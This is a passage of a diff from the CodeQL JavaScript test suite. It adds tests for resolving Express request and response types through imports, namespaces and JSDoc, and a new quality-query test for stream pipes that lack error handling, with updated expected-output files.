'./expressSelectiveExport'; + +function t1(req: Request) { // $ hasUnderlyingType='express'.Request +} + +function t2(res: Response) { // none, not exported +} + +function t3(res: R) { // $ hasUnderlyingType='express'.Response +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.ts new file mode 100644 index 00000000000..6fae12f0684 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.ts @@ -0,0 +1 @@ +export * as wrapper from 'express'; diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.use.ts b/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.use.ts new file mode 100644 index 00000000000..62f7e519ff0 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/expressWrapperExport.use.ts @@ -0,0 +1,29 @@ +import { Request, Response, wrapper } from './expressWrapperExport'; +import * as w from './expressWrapperExport'; + +function t1(req: Request) { // none +} + +function t2(res: Response) { // none +} + +function t3(req: wrapper.Request) { // $ hasUnderlyingType='express'.Request +} + +function t4(res: wrapper.Response) { // $ hasUnderlyingType='express'.Response +} + +function t5(req: w.wrapper.Request) { // $ hasUnderlyingType='express'.Request +} + +function t6(res: w.wrapper.Response) { // $ hasUnderlyingType='express'.Response +} + +function t7(req: w.Request) { // none +} + +function t8(res: w.Response) { // none +} + +function t9(e: typeof w.wrapper) { // $ hasUnderlyingType='express' +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/generics.ts b/javascript/ql/test/library-tests/UnderlyingTypes/generics.ts new file mode 100644 index 00000000000..26e4499f4da --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/generics.ts @@ -0,0 +1,46 @@ +import * as express from 'express'; + +type Box1 = { + value: T; + other: string; +}; +function t1(b: Box1) { + b.value; // $ MISSING: hasUnderlyingType='express'.Request + b.other; +} + +interface Box2 { + value: T; + other: string; +} +function t2(b: Box2) { + b.value; // $ MISSING: hasUnderlyingType='express'.Request + b.other; +} + +class Box3 { + value: T; + other: string; +} +function t3(b: Box3) { + b.value; // $ MISSING: hasUnderlyingType='express'.Request + b.other; +} + +abstract class Box4 { + abstract getValue(): T; + abstract getOther(): string; +} +function t4(b: Box4) { + b.getValue(); // $ MISSING: hasUnderlyingType='express'.Request + b.getOther(); +} + +type Box5 = { + value: T & { blah: string }; + other: string; +}; +function t5(b: Box5) { + b.value; // $ MISSING: hasUnderlyingType='express'.Request + b.other; +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/globals.ts b/javascript/ql/test/library-tests/UnderlyingTypes/globals.ts new file mode 100644 index 00000000000..8fc6546c70f --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/globals.ts @@ -0,0 +1,10 @@ +function t1(el: HTMLElement) { } // $ hasUnderlyingType=HTMLElement + +/** + * @param {HTMLInputElement} el + */ +function t2(el) { // $ hasUnderlyingType=HTMLInputElement +} + +function t3(req: Express.Request) { // $ hasUnderlyingType=Express.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/jsdoc.js b/javascript/ql/test/library-tests/UnderlyingTypes/jsdoc.js new file mode 100644 index 00000000000..662faeb52c9 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/jsdoc.js @@ -0,0 +1,14 @@ +import * as e from 'express'; +import { Response } from 'express'; + +/** + * @param {e.Request} req + */ +function t1(req) { // $ hasUnderlyingType='express'.Request +} + +/** + * @param {Response} res + */ +function t2(res) { // $ hasUnderlyingType='express'.Response +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/namedImport.ts b/javascript/ql/test/library-tests/UnderlyingTypes/namedImport.ts new file mode 100644 index 00000000000..56b1d43d399 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/namedImport.ts @@ -0,0 +1,4 @@ +import { Request } from 'express'; + +function t1(req: Request) { // $ hasUnderlyingType='express'.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/namespaceDecls.ts b/javascript/ql/test/library-tests/UnderlyingTypes/namespaceDecls.ts new file mode 100644 index 00000000000..bd8811dfe7a --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/namespaceDecls.ts @@ -0,0 +1,27 @@ +import Express = require('express'); + +namespace A { + export import E = Express; +} +namespace B { + export import Q = A +} +namespace C { + import E = Express; + export const A = E; +} + +function t1(x: A.E.Request) { // $ hasUnderlyingType='express'.Request +} + +function t2(x: B.Q.E.Request) { // $ hasUnderlyingType='express'.Request +} + +function t3(x: typeof Express) { // $ hasUnderlyingType='express' +} + +function t4(x: typeof A.E) { // $ hasUnderlyingType='express' +} + +function t5(x: typeof C.A) { // $ hasUnderlyingType='express' +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/namespaceImport.ts b/javascript/ql/test/library-tests/UnderlyingTypes/namespaceImport.ts new file mode 100644 index 00000000000..f2f96865f39 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/namespaceImport.ts @@ -0,0 +1,15 @@ +import * as express from 'express'; + +function t1(e: typeof express) { // $ hasUnderlyingType='express' +} + +function t2(req: express.Request) { // $ hasUnderlyingType='express'.Request +} + +function t3(req: Request) { // $ hasUnderlyingType=Request // not in scope, refers to a global +} + +type E = typeof express; + +function t4(e: E) { // $ hasUnderlyingType='express' +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/props.ts b/javascript/ql/test/library-tests/UnderlyingTypes/props.ts new file mode 100644 index 00000000000..1aded75ae95 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/props.ts @@ -0,0 +1,16 @@ +import * as express from 'express'; + +interface Foo { + req: express.Request; + e: typeof express; +} + +function t1(f: Foo) { + f.req; // $ hasUnderlyingType='express'.Request + f.e; // $ hasUnderlyingType='express' + + const { + req, // $ hasUnderlyingType='express'.Request + e // $ hasUnderlyingType='express' + } = f; +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/subtype.ts b/javascript/ql/test/library-tests/UnderlyingTypes/subtype.ts new file mode 100644 index 00000000000..a23b85e3b81 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/subtype.ts @@ -0,0 +1,20 @@ +import * as express from 'express'; + +interface MyRequest extends express.Request { + +} + +function t1(req: MyRequest) { // $ hasUnderlyingType='express'.Request +} + +class MyRequestClass extends express.Request { +} + +function t2(req: MyRequestClass) { // $ hasUnderlyingType='express'.Request +} + +class MyRequestClass2 implements express.Request { +} + +function t3(req: MyRequestClass2) { // $ hasUnderlyingType='express'.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/test.expected b/javascript/ql/test/library-tests/UnderlyingTypes/test.expected new file mode 100644 index 00000000000..9525a32706b --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/test.expected @@ -0,0 +1,54 @@ +| calls.ts:6:5:6:16 | getRequest() | 'express'.Request | +| calls.ts:12:5:12:23 | getRequestAmbient() | 'express'.Request | +| calls.ts:20:5:20:14 | c.method() | 'express'.Request | +| calls.ts:21:5:21:20 | new C().method() | 'express'.Request | +| calls.ts:24:24:24:26 | req | 'express'.Request | +| calls.ts:29:9:29:11 | req | 'express'.Request | +| closure.use.js:9:13:9:13 | x | closure.lib.Foo | +| closure.use.js:9:13:9:13 | x | closure.reexported.Foo | +| closure.use.js:15:13:15:13 | x | closure.es.Bar | +| closure.use.js:15:13:15:13 | x | closure.reexported.Bar | +| contextualTypes.ts:4:12:4:14 | req | 'express'.Request | +| contextualTypes.ts:11:16:11:18 | req | 'express'.Request | +| contextualTypes.ts:18:16:18:18 | req | 'express'.Request | +| contextualTypes.ts:21:16:21:18 | req | 'express'.Request | +| contextualTypes.ts:27:16:27:18 | req | 'express'.Request | +| contextualTypes.ts:34:20:34:22 | req | 'express'.Request | +| contextualTypes.ts:41:16:41:18 | req | 'express'.Request | +| expressBulkExport.use.ts:3:13:3:15 | req | 'express'.Request | +| expressBulkExport.use.ts:6:13:6:15 | res | 'express'.Response | +| expressExportAssign.use.ts:3:13:3:15 | req | 'express'.Request | +| expressExportAssignWrapper.use.ts:3:13:3:15 | req | 'express'.Request | +| expressSelectiveExport.use.ts:3:13:3:15 | req | 'express'.Request | +| expressSelectiveExport.use.ts:9:13:9:15 | res | 'express'.Response | +| expressWrapperExport.use.ts:10:13:10:15 | req | 'express'.Request | +| expressWrapperExport.use.ts:13:13:13:15 | res | 'express'.Response | +| expressWrapperExport.use.ts:16:13:16:15 | req | 'express'.Request | +| expressWrapperExport.use.ts:19:13:19:15 | res | 'express'.Response | +| expressWrapperExport.use.ts:28:13:28:13 | e | 'express' | +| globals.ts:1:13:1:14 | el | HTMLElement | +| globals.ts:6:13:6:14 | el | HTMLInputElement | +| globals.ts:9:13:9:15 | req | Express.Request | +| jsdoc.js:7:13:7:15 | req | 'express'.Request | +| jsdoc.js:13:13:13:15 | res | 'express'.Response | +| namedImport.ts:3:13:3:15 | req | 'express'.Request | +| namespaceDecls.ts:14:13:14:13 | x | 'express'.Request | +| namespaceDecls.ts:17:13:17:13 | x | 'express'.Request | +| namespaceDecls.ts:20:13:20:13 | x | 'express' | +| namespaceDecls.ts:23:13:23:13 | x | 'express' | +| namespaceDecls.ts:26:13:26:13 | x | 'express' | +| namespaceImport.ts:3:13:3:13 | e | 'express' | +| namespaceImport.ts:6:13:6:15 | req | 'express'.Request | +| namespaceImport.ts:9:13:9:15 | req | Request | +| namespaceImport.ts:14:13:14:13 | e | 'express' | +| props.ts:9:5:9:9 | f.req | 'express'.Request | +| props.ts:10:5:10:7 | f.e | 'express' | +| props.ts:13:9:13:11 | req | 'express'.Request | +| props.ts:14:9:14:9 | e | 'express' | +| subtype.ts:7:13:7:15 | req | 'express'.Request | +| subtype.ts:13:13:13:15 | req | 'express'.Request | +| subtype.ts:19:13:19:15 | req | 'express'.Request | +| typeCast.ts:4:16:4:35 | e as express.Request | 'express'.Request | +| typeCast.ts:5:16:5:33 | e | 'express'.Request | +| typeCast.ts:6:16:6:42 | e satis ... Request | 'express'.Request | +| varAssignment.ts:4:9:4:11 | req | 'express'.Request | diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/test.ql b/javascript/ql/test/library-tests/UnderlyingTypes/test.ql new file mode 100644 index 00000000000..d3074111f91 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/test.ql @@ -0,0 +1,15 @@ +import javascript + +bindingset[x, y] +private string join(string x, string y) { + if x = "" or y = "" then result = x + y else result = x + "." + y +} + +query predicate hasUnderlyingType(DataFlow::SourceNode node, string value) { + node.hasUnderlyingType(value) + or + exists(string mod, string name | + node.hasUnderlyingType(mod, name) and + value = join("'" + mod + "'", name) + ) +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/test.qlref b/javascript/ql/test/library-tests/UnderlyingTypes/test.qlref new file mode 100644 index 00000000000..ab6773f15f9 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/test.qlref @@ -0,0 +1,2 @@ +query: test.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/tsconfig.json b/javascript/ql/test/library-tests/UnderlyingTypes/tsconfig.json new file mode 100644 index 00000000000..82194fc7ab0 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/tsconfig.json @@ -0,0 +1,3 @@ +{ + "include": ["."] +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts b/javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts new file mode 100644 index 00000000000..09b6105d012 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts @@ -0,0 +1,7 @@ +import * as express from 'express'; + +function t1(e) { + var req1 = e as express.Request; // $ hasUnderlyingType='express'.Request + var req2 = e; // $ hasUnderlyingType='express'.Request + var req3 = e satisfies express.Request; // $ hasUnderlyingType='express'.Request +} diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts b/javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts new file mode 100644 index 00000000000..c7160e16561 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts @@ -0,0 +1,5 @@ +import * as express from 'express'; + +function t1(e) { + var req: express.Request = e; // $ hasUnderlyingType='express'.Request +} diff --git a/javascript/ql/test/library-tests/frameworks/Nest/test.expected b/javascript/ql/test/library-tests/frameworks/Nest/test.expected index ff12967bec6..db49fc95eba 100644 --- a/javascript/ql/test/library-tests/frameworks/Nest/test.expected +++ b/javascript/ql/test/library-tests/frameworks/Nest/test.expected @@ -71,6 +71,9 @@ responseSendArgument | local/customPipe.ts:37:16:37:31 | '' + unsanitized | | local/customPipe.ts:42:16:42:31 | '' + unsanitized | | local/customPipe.ts:48:16:48:31 | '' + unsanitized | +| local/routes.ts:7:12:7:16 | 'foo' | +| local/routes.ts:12:12:12:16 | 'foo' | +| local/routes.ts:17:12:17:16 | 'foo' | | local/routes.ts:32:31:32:31 | x | | local/routes.ts:33:31:33:38 | queryObj | | local/routes.ts:34:31:34:34 | name | diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected index 853e781c88e..f1beafe0037 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/ExprHasNoEffect.expected @@ -1,3 +1,4 @@ +| dom.js:2:33:2:50 | a.clientTop === !0 | This expression has no effect. | | try.js:22:9:22:26 | x.ordinaryProperty | This expression has no effect. | | tst2.js:2:4:2:4 | 0 | This expression has no effect. | | tst.js:3:1:3:2 | 23 | This expression has no effect. | @@ -11,4 +12,4 @@ | tst.js:50:3:50:36 | new Err ... age(e)) | This expression has no effect. | | tst.js:61:2:61:20 | o.trivialNonGetter1 | This expression has no effect. | | tst.js:77:24:77:24 | o | This expression has no effect. | -| uselessfn.js:1:1:1:26 | (functi ... .");\\n}) | This expression has no effect. | +| uselessfn.js:1:2:1:26 | functio ... d.");\\n} | This expression has no effect. | diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js new file mode 100644 index 00000000000..5d22e4a0bed --- /dev/null +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/dom.js @@ -0,0 +1,7 @@ +function f(){ + a.clientTop && a.clientTop, a.clientTop === !0; //$Alert + a && a.clientTop; + a.clientTop, a.clientTop; + if(a) return a.clientTop && a.clientTop, a.clientTop === !0; + if(b) return b && (b.clientTop, b.clientTop && b.clientTop), null; +} diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js index a91759e553f..6de5ac9a236 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/tst.js @@ -79,4 +79,9 @@ function g() { consume(testSomeCondition() ? o : doSomethingDangerous()); + + ("release" === isRelease() ? warning() : null); + "release" === isRelease() ? warning() : null; + "release" === isRelease() ? warning() : 0; + "release" === isRelease() ? warning() : undefined; }; diff --git a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js index 341644bf649..e47a25458d4 100644 --- a/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js +++ b/javascript/ql/test/query-tests/Expressions/ExprHasNoEffect/uselessfn.js @@ -1,3 +1,3 @@ (function f() { // $ Alert console.log("I'm never called."); -}) \ No newline at end of file +}) diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected new file mode 100644 index 00000000000..1b01574112d --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.expected @@ -0,0 +1,19 @@ +| test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:60:5:60:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:66:5:66:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:79:5:79:25 | s2.pipe ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:94:5:94:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:110:11:110:22 | s.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:119:5:119:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:128:5:128:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:146:5:146:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:182:17:182:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:192:5:192:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:8:5:8:21 | source.pipe(gzip) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:37:21:37:56 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:44:5:44:40 | wrapper ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:52:5:52:37 | source. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:59:18:59:39 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| tst.js:111:5:111:26 | stream. ... Stream) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref new file mode 100644 index 00000000000..0da7b1900f6 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/UnhandledErrorInStreamPipeline.qlref @@ -0,0 +1,2 @@ +query: Quality/UnhandledErrorInStreamPipeline.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/arktype.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/arktype.js new file mode 100644 index 00000000000..cac5e57511d --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/arktype.js @@ -0,0 +1,3 @@ +import { type } from 'arktype'; + +type.string.pipe(Number); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/execa.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/execa.js new file mode 100644 index 00000000000..052875e849b --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/execa.js @@ -0,0 +1,11 @@ +const execa = require('execa'); + +(async () => { + const first = execa('node', ['empty.js']); + const second = execa('node', ['stdin.js']); + + first.stdout.pipe(second.stdin); + + const {stdout} = await second; + console.log(stdout); +})(); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/fizz-pipe.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/fizz-pipe.js new file mode 100644 index 00000000000..94906ee46b6 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/fizz-pipe.js @@ -0,0 +1,29 @@ +import React, { Suspense } from "react"; +import { renderToPipeableStream } from "react-dom/server"; +import { PassThrough } from "stream"; +import { act } from "react-dom/test-utils"; + + +const writable = new PassThrough(); +let output = ""; +writable.on("data", chunk => { output += chunk.toString(); }); +writable.on("end", () => { /* stream ended */ }); + +let errors = []; +let shellErrors = []; + +await act(async () => { + renderToPipeableStream( + }> + + , + { + onError(err) { + errors.push(err.message); + }, + onShellError(err) { + shellErrors.push(err.message); + } + } + ).pipe(writable); +}); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/highland.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/highland.js new file mode 100644 index 00000000000..08ac4f8954a --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/highland.js @@ -0,0 +1,8 @@ +const highland = require('highland'); +const fs = require('fs'); + +highland(fs.createReadStream('input.txt')) + .map(line => { + if (line.length === 0) throw new Error('Empty line'); + return line; + }).pipe(fs.createWriteStream('output.txt')); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/langchain.ts b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/langchain.ts new file mode 100644 index 00000000000..3203dafedf7 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/langchain.ts @@ -0,0 +1,15 @@ +import { RunnablePassthrough, RunnableSequence } from "@langchain/core/runnables"; + +const fakeRetriever = RunnablePassthrough.from((_q: string) => + Promise.resolve([{ pageContent: "Hello world." }]) +); + +const formatDocumentsAsString = (documents: { pageContent: string }[]) =>documents.map((d) => d.pageContent).join("\n\n"); + +const chain = RunnableSequence.from([ + { + context: fakeRetriever.pipe(formatDocumentsAsString), + question: new RunnablePassthrough(), + }, + "", +]); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/ngrx.ts b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/ngrx.ts new file mode 100644 index 00000000000..c72d8447bb5 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/ngrx.ts @@ -0,0 +1,17 @@ +import { Component } from '@angular/core'; +import { Store, select } from '@ngrx/store'; +import { Observable } from 'rxjs'; + +@Component({ + selector: 'minimal-example', + template: ` +
    {{ value$ | async }}
    + ` +}) +export class MinimalExampleComponent { + value$: Observable; + + constructor(private store: Store) { + this.value$ = this.store.pipe(select('someSlice')); + } +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/rxjsStreams.js new file mode 100644 index 00000000000..79373b49375 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/rxjsStreams.js @@ -0,0 +1,20 @@ +import * as rx from 'rxjs'; +import * as ops from 'rxjs/operators'; +import { TestScheduler } from 'rxjs/testing'; +import { pluck } from "rxjs/operators/pluck"; + +const { of, from } = rx; +const { map, filter } = ops; + +function f(){ + of(1, 2, 3).pipe(map(x => x * 2)); + someNonStream().pipe(map(x => x * 2)); + + let testScheduler = new TestScheduler(); + testScheduler.run(({x, y, z}) => { + const source = x('', {o: [a, b, c]}); + z(source.pipe(null)).toBe(expected,y,); + }); + + z.option$.pipe(pluck("x")) +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/strapi.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/strapi.js new file mode 100644 index 00000000000..e4fd4cd4e67 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/strapi.js @@ -0,0 +1,5 @@ +import { async } from '@strapi/utils'; + +const f = async () => { + const permissionsInDB = await async.pipe(strapi.db.query('x').findMany,map('y'))(); +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/test.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/test.js new file mode 100644 index 00000000000..a253f7edf00 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/test.js @@ -0,0 +1,235 @@ +function test() { + { + const stream = getStream(); + stream.pipe(destination).on("error", e); // $Alert + } + { + const stream = getStream(); + stream.pipe(destination); + stream.on('error', handleError); + } + { + const stream = getStream(); + stream.on('error', handleError); + stream.pipe(destination); + } + { + const stream = getStream(); + const s2 = stream; + s2.pipe(dest).on("error", e); // $Alert + } + { + const stream = getStream(); + stream.on('error', handleError); + const s2 = stream; + s2.pipe(dest); + } + { + const stream = getStream(); + const s2 = stream; + s2.on('error', handleError); + s2.pipe(dest); + } + { + const s = getStream().on('error', handler); + const d = getDest(); + s.pipe(d); + } + { + getStream().on('error', handler).pipe(dest); + } + { + const stream = getStream(); + stream.on('error', handleError); + const stream2 = stream.pipe(destination); + stream2.pipe(destination2).on("error", e); // $Alert + } + { + const stream = getStream(); + stream.on('error', handleError); + const destination = getDest(); + destination.on('error', handleError); + const stream2 = stream.pipe(destination); + const s3 = stream2; + s = s3.pipe(destination2); + } + { + const stream = getStream(); + stream.on('error', handleError); + const stream2 = stream.pipe(destination); + stream2.pipe(destination2).on("error", e); // $Alert + } + { // Error handler on destination instead of source + const stream = getStream(); + const dest = getDest(); + dest.on('error', handler); + stream.pipe(dest).on("error", e); // $Alert + } + { // Multiple aliases, error handler on one + const stream = getStream(); + const alias1 = stream; + const alias2 = alias1; + alias2.on('error', handleError); + alias1.pipe(dest); + } + { // Multiple pipes, handler after first pipe + const stream = getStream(); + const s2 = stream.pipe(destination1); + stream.on('error', handleError); + s2.pipe(destination2).on("error", e); // $Alert + } + { // Handler registered via .once + const stream = getStream(); + stream.once('error', handleError); + stream.pipe(dest); + } + { // Handler registered with arrow function + const stream = getStream(); + stream.on('error', (err) => handleError(err)); + stream.pipe(dest); + } + { // Handler registered for unrelated event + const stream = getStream(); + stream.on('close', handleClose); + stream.pipe(dest).on("error", e); // $Alert + } + { // Error handler registered after pipe, but before error + const stream = getStream(); + stream.pipe(dest); + setTimeout(() => stream.on('error', handleError), 8000); // $MISSING:Alert + } + { // Pipe in a function, error handler outside + const stream = getStream(); + function doPipe(s) { s.pipe(dest); } + stream.on('error', handleError); + doPipe(stream); + } + { // Pipe in a function, error handler not set + const stream = getStream(); + function doPipe(s) { + f = s.pipe(dest); // $Alert + f.on("error", e); + } + doPipe(stream); + } + { // Dynamic event assignment + const stream = getStream(); + const event = 'error'; + stream.on(event, handleError); + stream.pipe(dest).on("error", e); // $SPURIOUS:Alert + } + { // Handler assigned via variable property + const stream = getStream(); + const handler = handleError; + stream.on('error', handler); + stream.pipe(dest); + } + { // Pipe with no intermediate variable, no error handler + getStream().pipe(dest).on("error", e); // $Alert + } + { // Handler set via .addListener synonym + const stream = getStream(); + stream.addListener('error', handleError); + stream.pipe(dest).on("error", e); + } + { // Handler set via .once after .pipe + const stream = getStream(); + stream.pipe(dest); + stream.once('error', handleError); + } + { // Long chained pipe with error handler + const stream = getStream(); + stream.pause().on('error', handleError).setEncoding('utf8').resume().pipe(writable); + } + { // Long chained pipe without error handler + const stream = getStream(); + stream.pause().setEncoding('utf8').resume().pipe(writable).on("error", e); // $Alert + } + { // Long chained pipe without error handler + const stream = getStream(); + stream.pause().setEncoding('utf8').on("error", e).resume().pipe(writable).on("error", e); + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + notStream.pipe(writable).subscribe(); + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + const result = notStream.pipe(writable); + const dealWithResult = (result) => { result.subscribe(); }; + dealWithResult(result); + } + { // Non-stream with pipe method that returns subscribable object (Streams do not have subscribe method) + const notStream = getNotAStream(); + const pipeIt = (someVariable) => { return someVariable.pipe(something); }; + let x = pipeIt(notStream); + x.subscribe(); + } + { // Calling custom pipe method with no arguments + const notStream = getNotAStream(); + notStream.pipe(); + } + { // Calling custom pipe method with more then 2 arguments + const notStream = getNotAStream(); + notStream.pipe(arg1, arg2, arg3); + } + { // Member access on a non-stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).someMember; + } + { // Member access on a stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).on("error", e).readable; // $Alert + } + { // Method access on a non-stream after pipe + const notStream = getNotAStream(); + const val = notStream.pipe(writable).someMethod(); + } + { // Pipe on fs readStream + const fs = require('fs'); + const stream = fs.createReadStream('file.txt'); + const copyStream = stream; + copyStream.pipe(destination).on("error", e); // $Alert + } + { + const notStream = getNotAStream(); + const something = notStream.someNotStreamPropertyAccess; + const val = notStream.pipe(writable); + } + { + const notStream = getNotAStream(); + const something = notStream.someNotStreamPropertyAccess(); + const val = notStream.pipe(writable); + } + { + const notStream = getNotAStream(); + notStream.pipe({}); + } + { + const notStream = getNotAStream(); + notStream.pipe(()=>{}); + } + { + const plumber = require('gulp-plumber'); + getStream().pipe(plumber()).pipe(dest).pipe(dest).pipe(dest); + } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); + } + { + const plumber = 